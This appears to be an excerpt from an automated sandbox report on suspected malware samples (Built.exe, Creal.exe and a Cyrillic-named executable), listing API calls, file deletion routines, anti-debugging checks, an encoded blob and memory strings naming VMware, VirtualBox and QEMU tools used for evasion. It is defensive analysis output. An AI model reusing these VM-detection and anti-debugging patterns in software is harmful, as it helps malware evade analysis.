Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FF65E2A1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	4_2_00007FF65E2A1874
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FF65E2883C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_00007FF65E2883C0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FF6D9249280 FindFirstFileExW,FindClose,	5_2_00007FF6D9249280
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FF6D92483C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00007FF6D92483C0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FF6D9261874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00007FF6D9261874

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Code function: 0_2_00007FF6063A5134 VirtualQuery,GetSystemInfo,

0_2_00007FF6063A5134

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\

Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dqemu-ga
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvmwaretray
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvmwareservice
Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmwaretray
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vYfvmtoolsd
Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvboxtray
Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmtoolsd
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \Ufecodevmsrvc
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fecodevmware
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: f8vmusrvc
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: pfvboxservice
Source: Built.exe, 00000004.00000002.2162306766.000002D966844000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWment%SystemRoot%\system32\mswsock.dll
Source: Creal.exe, 00000005.00000003.2371911211.00000203E848F000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2364055620.00000203E8476000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: d2qemu-ga
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvboxtray
Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmsrvc
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer`
Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmwareuser
Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmware)
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretrayg
Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvboxservice
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvmwareuser
Source: Creal.exe, 00000005.00000003.2162828040.00000203E73E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ro.kernel.qemur
Source: Creal.exe, 00000005.00000003.2402826222.00000203E7552000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2418046501.00000203E7552000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2369898360.00000203E7538000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2380069030.00000203E7545000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2382040369.00000203E7551000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374232940.00000203E7545000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2371014632.00000203E7543000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW?
Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmusrvc
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice
Source: Built.exe, 00000004.00000002.2173551673.000002D967F00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmwareservice

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Code function: 0_2_00007FF6063AAC68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6063AAC68

Source: C:\Users\user\Desktop\Built.exe

Code function: 4_2_00007FFD93657A20 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

4_2_00007FFD93657A20

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Code function: 0_2_00007FF6063B41B0 GetProcessHeap,

0_2_00007FF6063B41B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Code function: 0_2_00007FF6063AAC68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6063AAC68
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Code function: 0_2_00007FF6063A5CE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6063A5CE0
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Code function: 0_2_00007FF6063A6940 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6063A6940
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Code function: 0_2_00007FF6063A6B24 SetUnhandledExceptionFilter,	0_2_00007FF6063A6B24
Source: C:\Users\user\Desktop\Creal.exe	Code function: 2_2_00007FF6D924D30C SetUnhandledExceptionFilter,	2_2_00007FF6D924D30C
Source: C:\Users\user\Desktop\Creal.exe	Code function: 2_2_00007FF6D925A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF6D925A614
Source: C:\Users\user\Desktop\Creal.exe	Code function: 2_2_00007FF6D924C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF6D924C8A0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 2_2_00007FF6D924D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF6D924D12C
Source: C:\Users\user\Desktop\Built.exe	Code function: 3_2_00007FF65E28C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF65E28C8A0
Source: C:\Users\user\Desktop\Built.exe	Code function: 3_2_00007FF65E28D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF65E28D12C
Source: C:\Users\user\Desktop\Built.exe	Code function: 3_2_00007FF65E29A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF65E29A614
Source: C:\Users\user\Desktop\Built.exe	Code function: 3_2_00007FF65E28D30C SetUnhandledExceptionFilter,	3_2_00007FF65E28D30C
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FF65E28C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00007FF65E28C8A0
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FF65E28D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF65E28D12C
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FF65E29A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF65E29A614
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FF65E28D30C SetUnhandledExceptionFilter,	4_2_00007FF65E28D30C
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92433028 IsProcessorFeaturePresent,00007FFDA54E1730,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFDA54E1730,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FFD92433028
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD9359212B IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FFD9359212B
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD93591CB7 SetUnhandledExceptionFilter,	4_2_00007FFD93591CB7
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD9360DFFC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00007FFD9360DFFC
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFDA33ED070 SetUnhandledExceptionFilter,	4_2_00007FFDA33ED070
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFDA33E314C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FFDA33E314C
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FF6D924D30C SetUnhandledExceptionFilter,	5_2_00007FF6D924D30C
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FF6D925A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF6D925A614
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FF6D924C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF6D924C8A0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FF6D924D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF6D924D12C
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A21960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89A21960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A21390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89A21390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A31390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89A31390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A31960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89A31960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A41390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89A41390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A41960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89A41960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A51390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89A51390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A51960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89A51960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A61390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89A61390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A61960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89A61960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A71390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89A71390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A71960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89A71960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A81390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89A81390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A81960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89A81960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A91390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89A91390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A91960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89A91960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AA1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89AA1390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AA1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89AA1960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AB1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89AB1390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AB1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89AB1960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AC1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89AC1390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AC1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89AC1960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AD1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89AD1390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AD1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89AD1960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AE1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89AE1390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AE1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89AE1960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AF1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89AF1390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AF1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89AF1960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89B01390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89B01390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89B01960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89B01960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89B11960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89B11960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89B11390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89B11390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89B21960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89B21960
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89B21390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89B21390
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89D83248 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD89D83248
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89D82C90 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD89D82C90
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A1A2920 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD8A1A2920
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A1FC080 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD8A1FC080
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A1FBAC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD8A1FBAC0
